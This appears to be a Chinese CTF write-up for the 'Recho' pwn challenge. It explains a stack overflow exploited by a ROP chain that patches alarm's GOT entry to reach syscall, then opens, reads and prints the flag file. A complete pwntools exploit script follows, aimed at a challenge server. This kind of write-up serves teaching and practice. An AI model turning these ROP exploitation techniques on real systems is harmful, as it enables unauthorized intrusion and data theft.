0%

Recho

首先,还是查看一下程序的保护机制。看起来不错。

然后用IDA分析

看起来是一个很简单的溢出,然而,这题的难点在于这个循环如何结束。read一直都是真,如果是在linux终端上直接运行,我们可以用Ctrl+D,然而,pwn远程,就无法处理这种信号。幸运的是pwntools提供了一个shutdown功能,该功能可以关闭流,如果我们关闭输入流,这个循环就结束了。但是我们别想再次ROP到主函数获取输入,因为关闭后就不能打开,除非重新运行,那么之前的工作不都白费了吗。因此,我们必须一次性完成所有操作。

[一次性要完成所有操作,那么暴露地址的方式肯定不能完成,幸运的是,我们可以使用系统调用(syscall)。对于有些系统,system也可以用系统调用,而对于有些系统则不行,因此,我们这里不再geshell,我们直接读取flag,然后打印出来。]{.mark}

我们知道,open、write、read、alarm这些都是系统调用,看看IDA代码就知道

我们希望构造这样的代码来拿到flag

1
2
3
int fd = open("flag",READONLY);  
read(fd,buf,100);  
printf(buf);  

由于本程序已经导入了alarm、read、write几个函数,我们现在缺的是open函数,由于open函数内部也是系统调用,只需要改变传入的eax,就可以调用open,因此,我们首先需要拿到syscall的地址或者是调用它的某处的地址。

alarm函数我们用不到,因此,我们想把它的GOT表地址改掉,但是,如何改呢,我们发现有这么一个gadget,这是经验,赶紧记下来,这个重点

先把两处undefine,然后再code,就变成了两条指令

这个可以把rdi里面存地址指向处加上al,那么,[如果rdi里存储着alarm的GOT表地址,那么add [rdi],al就是把GOT表里指向的地址向后偏移al,由于alarm函数向后偏移0x5个字节处调用了syscall,]{.mark}因此,如果我们的al为0x5,那么,add指令执行后,我们的alarm函数GOT表里的地址就指向了syscall的调用处,那么我们调用alarm也就是调用syscall,我们只需在之前传入eax(系统调用号),就可以调用我们需要的系统调用

查看libc的汇编代码,我们知道了[open的系统调用号为2]{.mark}

因此我们就可以拼凑出一个open来

我们还需要其他的一些指令,用来传参数,这些指令用IDA的搜索功能搜索pop就能找到,当然还有经验,

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
#用于传参  
'''''pop rax
retn'''
pop_rax = 0x4006FC
'''''pop rdx
retn'''
pop_rdx = 0x4006FE
'''''pop rsi
pop r15
retn'''
pop_rsi = 0x4008A1
'''''pop rdi
retn'''
pop_rdi = 0x4008A3
'''''add [rdi],al
retn'''
rdi_add = 0x40070d
比如这种隐藏的,需要经验,赶紧记住了。

Undefined后再向后偏移一个字节点Code,就出来了。其他类似。

我们还需要一个存取读取结果的地方,BSS段是可以读写的

1
2
#存储字符串  
stdin_buffer = 0x601070  

程序中也为我们准备好了”flag”字符串,指示我们使用

那么,我们就开始构造payload吧

我们需要先修改alarm的GOT表,改成调用syscall

1
2
3
4
5
6
7
8
9
payload = 'a'*0x38  
#######修改alarm的GOT表内容为alarm函数里的syscall调用处地址##########
#rdi = alarm_got
payload += p64(pop_rdi) + p64(alarm_got)
#rax = 0x5
payload += p64(pop_rax) + p64(0x5)
#[rdi] = [rdi] + 0xE = alarm函数里的syscall的调用处
payload += p64(rdi_add)
########

然后,我们先构造fd = open(“flag”,READONLY);这句代码

1
2
3
4
5
6
7
8
9
10
'''''fd = open('flag',READONLY)'''  
# rsi = 0 (READONLY)
payload += p64(pop_rsi) + p64(0) + p64(0)
#rdi = 'flag'
payload += p64(pop_rdi) + p64(elf.search('flag').next())
#rax = 2,open的调用号为2,通过调试即可知道
payload += p64(pop_rax) + p64(2)
#syscall
payload += p64(alarm_plt)

open以后,fd的值一般是3开始,依次增加。比如我open了两个文件,那么它们的fd分别为3和4。如果特殊,具体看调试结果

接下来,我们开始构造read(fd,stdin_buffer,100);这句代码

1
2
3
4
5
6
7
8
9
10
''''' read(fd,stdin_buffer,100) '''  
#rdi指向buf区,用于存放读取的结果
payload += p64(pop_rsi) + p64(stdin_buffer) + p64(0)
#open()打开文件返回的文件描述符一般从3开始,依次顺序增加
payload += p64(pop_rdi) + p64(3)
# rax = 100,最多读取100个字符
payload += p64(pop_rdx) + p64(100)
#指向read函数
payload += p64(read_plt)

现在,flag的内容已经存到了std_buffer里面了,我们用printf打印它就能获得答案

1
2
#使用printf打印读取的内容  
payload += p64(pop_rdi) + p64(stdin_buffer) + p64(printf_plt)

最后,我们关闭流,使循环退出,main函数到retn处,执行我们的ROP。

1
2
#关闭输入流,就可以退出那个循环,执行ROP了  
sh.shutdown('write')

综上,我们的exp脚本如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
#coding:utf8  
from pwn import *
import time

context.log_level = 'debug'
#sh = process('./pwnh18')
sh = remote('111.198.29.45',56942)

elf = ELF('./pwnh18')

#用于传参
'''''pop rax
retn'''
pop_rax = 0x4006FC
'''''pop rdx
retn'''
pop_rdx = 0x4006FE
'''''pop rsi
pop r15
retn'''
pop_rsi = 0x4008A1
'''''pop rdi
retn'''
pop_rdi = 0x4008A3
'''''add [rdi],al
retn'''
rdi_add = 0x40070d

#bss段的stdin缓冲区,我们可以把数据存在这里
stdin_buffer = 0x601070

alarm_got = elf.got['alarm']
alarm_plt = elf.plt['alarm']
read_plt = elf.plt['read']
printf_plt = elf.plt['printf']

sh.recvuntil('Welcome to Recho server!\n')

sh.sendline(str(0x200))

payload = 'a'*0x38
#######修改alarm的GOT表内容为alarm函数里的syscall调用处地址##########
#rdi = alarm_got
payload += p64(pop_rdi) + p64(alarm_got)
#rax = 0x5
payload += p64(pop_rax) + p64(0x5)
#[rdi] = [rdi] + 0xE = alarm函数里的syscall的调用处
payload += p64(rdi_add)
########
'''''fd = open('flag',READONLY)'''
# rsi = 0 (READONLY)
payload += p64(pop_rsi) + p64(0) + p64(0)
#rdi = 'flag'
payload += p64(pop_rdi) + p64(elf.search('flag').next())
#rax = 2,open的调用号为2,通过调试即可知道
payload += p64(pop_rax) + p64(2)
#syscall
payload += p64(alarm_plt)
''''' read(fd,stdin_buffer,100) '''
#rdi指向buf区,用于存放读取的结果
payload += p64(pop_rsi) + p64(stdin_buffer) + p64(0)
#open()打开文件返回的文件描述符一般从3开始,依次顺序增加
payload += p64(pop_rdi) + p64(3)
# rax = 100,最多读取100个字符
payload += p64(pop_rdx) + p64(100)
#指向read函数
payload += p64(read_plt)
#使用printf打印读取的内容
payload += p64(pop_rdi) + p64(stdin_buffer) + p64(printf_plt)
#这步也关键,尽量使字符串长,这样才能将我们的payload全部输进去,不然可能因为会有缓存的问题导致覆盖不完整
payload = payload.ljust(0x200,'\x00')

sh.sendline(payload)
#关闭输入流,就可以退出那个循环,执行ROP了
sh.shutdown('write')

sh.interactive()